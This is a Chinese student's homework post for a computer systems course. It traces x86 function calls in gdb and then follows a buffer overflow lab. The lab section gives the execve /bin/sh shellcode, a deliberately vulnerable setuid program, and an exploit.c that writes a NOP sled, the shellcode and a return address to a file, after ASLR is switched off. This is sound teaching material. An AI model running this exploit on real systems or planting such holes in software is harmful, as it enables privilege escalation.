20155212 ch03 课下作业
T4
题目
- 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码
int g(int x){
return x+3;
}
int f(int x){
int i = 学号后两位;
return g(x)+i;
}
int main(void){
return f(8)+1;
}
- 删除汇编代码中 . 开关的代码,提交f 函数的汇编代码截图,图中用矩形标出函数栈帧的形成和销毁的代码
相关知识
- C语言调用机制使用了栈数据结构提供的后进先出的内存管理原则
- 当前正在执行的过程的帧总是在栈顶
解答

T5
题目
- 通过输入gcc -S -o main.s main.c
将下面c程序”week0603学号.c“编译成汇编代码
int g(int x){
return x+3;
}
int f(int x){
int i = 学号后两位;
return g(x)+i;
}
int main(void){
return f(8)+1;
}
- 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况
相关知识
- 在64位机器上产生32位汇编
gcc -g example.c -o example -m32 gdb example进入gdb调试器b linenumber设置断点run运行disassemble获取汇编代码- 用
i(nfo) r(egisters)查看各寄存器的值 - 用x查看内存地址中的值
- 在64位机器上产生32位汇编
步骤
gcc -g week0604_20155212.c -o week0604_20155212 -m32编译程序gdb week0604_20155212进入gdb模式- 设置断点在main函数调用f函数的位置
gdb> b 10 gdb> run运行gdb> disassemble反汇编display /i $pci rx查看内存中的内容si执行下一条汇编
结果
| 汇编指令 | eip | ebp | esp | eax | 栈 |
|---|---|---|---|---|---|
| push %ebp | 0x80483e6 | 0xffffceb8 | 0xffffceb0 | 0xf7fb2dbc | 0x8048411 0x8 0x0 |
| mov %esp,%ebp | 0x80483e7 | 0xffffceb8 | 0xffffceac | 0xf7fb2dbc | 0xffffceb8 0x8048411 0x8 0x0 |
| sub $0x10,%esp | 0x80483e9 | 0xffffceac | 0xffffceac | 0xf7fb2dbc | 0xffffceb8 0x8048411 0x8 0x0 |
| movl $0xc,-0x4(%ebp) | 0x80483ec | 0xffffceac | 0xffffce9c | 0xf7fb2dbc | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| pushl 0x8(%ebp) | 0x80483f3 | 0xffffceac | 0xffffce9c | 0xf7fb2dbc | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| call 0x80483db | 0x80483f6 | 0xffffceac | 0xffffce98 | 0xf7fb2dbc | 0x8 0x0 |
| add $0x4,%esp | 0x80483fe | 0xffffceac | 0xffffce9c | 0xb 11 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| mov %eax,%edx | 0x8048400 | 0xffffceac | 0xffffce9c | 0xb 11 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| mov -0x4(%ebp),%eax | 0x8048403 | 0xffffceac | 0xffffce9c | 0xb 12 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| add %edx,%eax | 0x8048405 | 0xffffceac | 0xffffce9c | 0x17 23 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
| leave | 0x8048406 | 0xffffceb8 | 0xffffceb0 | 0x17 23 | 0x8048411 0x8 0x0 |
| ret | 0x8048414 | 0xffffceb8 | 0xffffceb8 | 0x17 23 | 0x0 |
缓冲区溢出漏洞实验
实验介绍
- 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。缓冲区溢出漏洞实验
实验准备
- 输入命令安装一些用于编译32位C程序的东西
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 输入命令“linux32”进入32位linux环境,输入"/bin/bash"
实验步骤
初始化设置
- 使用
sudo sysctl -w kernel.randomize_va_space=0关闭使用地址空间随机化来随机堆和栈的初始地址 - 使用zsh代替/bin/bash
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
- 使用
shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
代码
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
汇编代码
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
漏洞程序
把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
编译该程序,并设置SET-UID
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
攻击程序
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
要得到shellcode在内存中的地址,输入命令
gdb stack
disass main
运行结果


现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff,然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
攻击结果

- 如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
- 再次重复,发现还是没有成功。
20155212 ch03 课下作业的更多相关文章
- 20155212 ch02 课下作业
20155212 ch02 课下作业 T1 题目 参考附图代码,编写一个程序 "week0601学号.c",判断一下你的电脑是大端还是小端 相关知识 小端法:最低有效字节在最前面 ...
- CH03 课下作业
CH03 课下作业 缓冲区溢出漏洞实验 缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 缓冲区溢出 ...
- 20155338 ch02 ch03课下作业
20155338 ch02 ch03课下作业 要求: 1.补充完成课上测试(不能只有截图,要有分析,问题解决过程,新学到的知识点) 课上测试-3-ch02 1.编写一个程序 "week060 ...
- ch03 课下作业——缓冲区溢出漏洞实验
一.实验简介: 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭 ...
- 20175221 MyCP(课下作业,必做)
MyCP(课下作业,必做) 任务详情 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: - java MyCP -tx XXX1.txt XXX2 ...
- 20175221 《Java程序设计》迭代和JDB(课下作业,选做):
20175221 <Java程序设计> 迭代和JDB(课下作业,选做): 任务详情 1 使用C(n,m)=C(n-1,m-1)+C(n-1,m)公式进行递归编程实现求组合数C(m,n)的功 ...
- 20175333曹雅坤MyCP(课下作业,必做)
MyCP(课下作业,必做) 要求 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt XXX2.bin ...
- MyOD(课下作业,选做)
MyOD(课下作业,选做) 代码要求 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt XXX2.b ...
- 迭代和JDB(课下作业,选做)
迭代和JDB(课下作业,选做) 题目要求 1 使用C(n,m)=C(n-1,m-1)+C(n-1,m)公式进行递归编程实现求组合数C(m,n)的功能 2 m,n 要通过命令行传入 3 提交测试运行截图 ...
随机推荐
- mysql_fetch_row,mysql_fetch_array,mysql_fetch_object,mysql_fetch_assoc
php从mysql中访问数据库并取得数据,取得结果的过程中用到好几个类似的方法,区别及用法值得区分一下,看下面的代码 代码如下: <?php $link=mysql_connect('local ...
- Python 处理脚本的命令行参数(三):使用argparse
# coding:utf-8 # 测试argparse模块的基本用法 import argparse # 创建参数解析对象,并添加脚本用法帮助 parser = argparse.ArgumentPa ...
- 解决问题,链表finish
从一个不懂链表,到反反复复改了不下50遍,提交该题页数更是突破了五页,从周三下午到周五中午的面向对象课前的20分钟,终于把这道题AC了,其实这题本来是原来C语言综合实验的一道题,但是本次在PAT上的审 ...
- Spring JPA 主键
JPA主键生成器和主键生成策略 JPA中创建实体时,需要声明实体的主键及其主键生成策略.我们有一个实体类叫做Email,其主键上声明如下: @Id @Column(name = "EMAIL ...
- BZOJ1485:[HNOI2009]有趣的数列(卡特兰数)
Description 我们称一个长度为2n的数列是有趣的,当且仅当该数列满足以下三个条件: (1)它是从1到2n共2n个整数的一个排列{ai}: (2)所有的奇数项满足a1<a3<…&l ...
- ZooKeeper学习之路 (五)ZooKeeper API的简单使用 增删改查
zookeeper文件系统的增删改查 public class ZKDemo1 { private static final String CONNECT_STRING = "hadoop1 ...
- C/C++——赋值理解(匿名临时对象)
对三,王炸: 赋值的本质,是将变量传递给一个匿名临时变量,之后再传递给另一个变量. 匿名临时对象: #include <iostream> using namespace std; cl ...
- C、CSL 的密码 【set暴力 || 后缀数组】 (“新智认知”杯上海高校程序设计竞赛暨第十七届上海大学程序设计春季联赛 )
题目传送门:https://ac.nowcoder.com/acm/contest/551/C 题目描述 众所周知,CSL 最喜欢的密码是 ******.于是有一天…… 为了改变这一点,他决定 ...
- HTML5 FormData对象
利用FormData对象,你可以使用一系列的键值对来模拟一个完整的表单,然后使用XMLHttpRequest发送这个"表单". 创建一个FormData对象 你可以先创建一个空的F ...
- WEB安全 魔术引号及注入类型
一.魔术引号 1. magic_quotes_gpc 变量 什么是魔术引号 Warning本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除.当打开时,所有的 '(单引号),&q ...